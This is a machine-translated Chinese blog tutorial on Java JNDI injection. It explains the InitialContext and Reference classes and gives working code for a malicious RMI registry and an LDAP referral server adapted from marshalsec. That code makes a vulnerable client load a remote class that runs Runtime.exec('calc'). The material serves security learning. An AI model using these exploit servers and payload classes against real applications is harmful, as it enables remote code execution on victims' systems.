编程知识 cdmana.com

JNDI injection for Java Security

Java Safety JNDI Inject

The article first :Java Safety JNDI Inject

0x00 Preface

Continue with the previous article , And then learn JNDI Inject relevant knowledge .JNDI Injection is Fastjson One of the attacks in the deserialization vulnerability .

0x01 JNDI

summary

JNDI(Java Naming and Directory Interface,Java Naming and Directory Interface ) yes SUN The company provides a standard Java Naming system interface ,JNDI Provide a unified client API, Through different provider interfaces JNDI Service provider interface (SPI) The implementation of the , The manager will JNDI API Map to a specific naming service and directory system , bring Java Applications can interact with these naming and directory services . Directory service is a natural extension of named Services .

JNDI(Java Naming and Directory Interface) It's an application designed API, Provides developers with the common ability to find and access various naming and directory services 、 Unified interface , similar JDBC It's all built on the abstraction layer . Now? JNDI Has become a J2EE One of the standards of , be-all J2EE All containers must provide a JNDI Service for .

JNDI Existing directories and services that can be accessed are :
DNS、XNam 、Novell A directory service 、LDAP(Lightweight Directory Access Protocol Lightweight Directory Access Protocol )、 CORBA Object services 、 file system 、Windows XP/2000/NT/Me/9x The registry 、RMI、DSML v1&v2、NIS.

The above is a section of Baidu wiki Description of . In a nutshell, it's like an index library , A named service connects objects to names , And you can find the corresponding object by the name they specify . From the online article to query this role is to achieve dynamic loading of database configuration files , So as to keep the database code unchanged .

JNDI structure

stay Java JDK It provides 5 A package , Provide to JNDI Function realization of , Namely :

javax.naming: It is mainly used for naming operations , It contains classes and interfaces for naming services , The package defines Context Interface and InitialContext class ;

javax.naming.directory: It is mainly used for directory operation , It defines the DirContext Interface and InitialDir- Context class ;

javax.naming.event: Request event notification in named directory server ;

javax.naming.ldap: Provide LDAP Support ;

javax.naming.spi: Allow dynamic insertion of different implementations , Provide development and implementation approaches for developers of different named directory service providers , So that the application can pass through JNDI Access to related services .

0x02 Pre knowledge

In fact, when we face some new knowledge , Individuals will go and record something new to contact , For example, the role of classes . Because in reading other big guy writing articles some in some of the pre-need knowledge to not narrate too much , You need to find it yourself . For people who have just come into contact with , I need to go through the information . Although it can be found on the Internet , But there will still be a lot of search knowledge , We need to find them one by one . So in such a way, you can record some knowledge points that need to be used in this . Easy to understand , It's also convenient for you to look through it .

InitialContext class

Construction method :

InitialContext() 
 Build an initial context .  
InitialContext(boolean lazy) 
 Construct an initial context , And choose not to initialize it .  
InitialContext(Hashtable<?,?> environment) 
 Use the provided environment to build the initial context . 

Code :

InitialContext initialContext = new InitialContext();

Here JDK The explanation given here is to build the initial context , In fact, the popular point is to get the initial directory environment .

Common methods :

bind(Name name, Object obj) 
	 Bind names to objects . 
list(String name) 
	 Enumerates the names bound in the naming context and the class names of the objects bound to them .
lookup(String name) 
	 Retrieve named objects . 
rebind(String name, Object obj) 
	 Bind names to objects , Override any existing binding . 
unbind(String name) 
	 Unbound named objects . 

Code :

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference class

This class is also in javax.naming Of a class , This class represents a pair of named / References to objects found outside the directory system . Provides JNDI Reference function of class in .

Construction method :

Reference(String className) 
	 Name the class “className” To construct a new reference .  
Reference(String className, RefAddr addr) 
	 Name the class “className” The object and address of the object construct a new reference .  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	 Name the class “className” The object of , The class name and location of the object factory and the address of the object construct a new reference .  
Reference(String className, String factory, String factoryLocation) 
	 Name the class “className” Object and class name and location of object factory construct a new reference .  

Code :

        String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

Parameters 1:className - The class name used when loading remotely

Parameters 2:classFactory - Loaded class The name of the instantiated class is required in

Parameters 3:classFactoryLocation - Provide classes The address of the data can be file/ftp/http agreement

Common methods :

void add(int posn, RefAddr addr) 
	 Add address to index posn In the address list of .  
void add(RefAddr addr) 
	 Add the address to the end of the address list .  
void clear() 
	 Remove all addresses from this reference .  
RefAddr get(int posn) 
	 Index of search posn Address on .  
RefAddr get(String addrType) 
	 The search address type is “addrType” First address of .  
Enumeration<RefAddr> getAll() 
	 Search for a list of addresses in this reference .  
String getClassName() 
	 Retrieve the class name of the referenced object .  
String getFactoryClassLocation() 
	 Retrieve factory location of the object referenced by this reference .  
String getFactoryClassName() 
	 Retrieve the class name of the factory for this reference reference object .    
Object remove(int posn) 
	 Remove index from address list posn Address on .  
int size() 
	 Retrieve the number of addresses in this reference .  
String toString() 
	 Generate the string representation of this reference .  

Code :

package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

Here you can see that the call is finished Reference And then it called ReferenceWrapper Ahead of Reference The object is passed in , Why is that ?

Actually check Reference You can see why , Check out Reference , It didn't happen Remote The interface has no inheritance UnicastRemoteObject class , Speak in front of the RMI When I said , You need to register the class with Registry Need to achieve Remote And inheritance UnicastRemoteObject class . I don't see the relevant code here , So we need to call ReferenceWrapper Seal it up .

0x03 JNDI Injection attack

In narrating JNDI Before injection, take a look at the source code .

Code example :

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();// Get a reference to the initial directory environment 
        initialContext.lookup(uri);// Gets the specified remote object 

    }
}

Above InitialContext.lookup(uri) Here , if URI controllable , Then the client may be attacked . The specific reasons are as follows .JNDI have access to RMI、LDAP To access the target service . In practice, we will also use JNDI Injection coordination RMI And so on .

JNDI Inject +RMI Implement the attack

Let's look at a few pieces of code , To do an analysis of the specific attack process .

RMIServer Code :

package com.rmi.jndi;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

RMIClient Code :

package com.rmi.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

Here is a bit of code to execute the command , Mounted on web On the page let server Ask for it .

package com.rmi.jndi;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");

    }
}

Use javac command , Compile the class to class The file is mounted in web On the page .

The principle is to put malicious Reference class , Binding in RMI Of Registry Inside , Call... On the client side lookup Remote access to remote classes , You'll get it Reference object , Get Reference After the object , Will go to find Reference Class specified in , If it can't be found, it will be in Reference The remote address specified in the , Requests to remote classes are executed locally .

I actually failed to execute here , Because in the higher version , System attribute com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase The default value of becomes false. In the lower version, these options default to true, You can load some classes remotely .

LDAP Concept

Lightweight Directory Access Protocol ( english :Lightweight Directory Access Protocol, abbreviation :LDAP,/ˈɛldæp/) It's an open , Neutral , Industrial standard application protocol , adopt IP The protocol provides directory information for access control and maintenance of distributed information .

JNDI Inject +LDAP Implement the attack

With the previous case , Let's look at this one. It's actually quite simple , The reason JNDI Injection will cooperate with LDAP Because LDAP Service Reference Remote load Factory Class is not subject to com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase And so on .

Start a ldap service , The code was changed by some big guy from marshalsec.

package com.rmi.rmiclient;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Write a client client .

package com.rmi.rmiclient;




import javax.naming.InitialContext;
import javax.naming.NamingException;



public class clientdemo {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}

Write a remote malicious class , And compile it into class file , place web On the page .

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

There's a hole here , It's a malicious class , Can't include the top package Information , Otherwise, the call fails . Let's start the server side , Then start the client .

stay JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase The default value of the property is adjusted to false. You can't take advantage of this , But there will still be ways to bypass it . I'm not going to repeat it here .

Reference article

https://xz.aliyun.com/t/8214
https://xz.aliyun.com/t/6633
https://xz.aliyun.com/t/7264

Thank you for your article , A rough list of several master's articles , But not just these . If there are some mistakes in the article , I hope the masters point out that .

0x04 ending

In fact, it took a lot of time before and after this article , All kinds of pit .

版权声明
本文为[nice_0e3]所创,转载请带上原文链接,感谢

Scroll to Top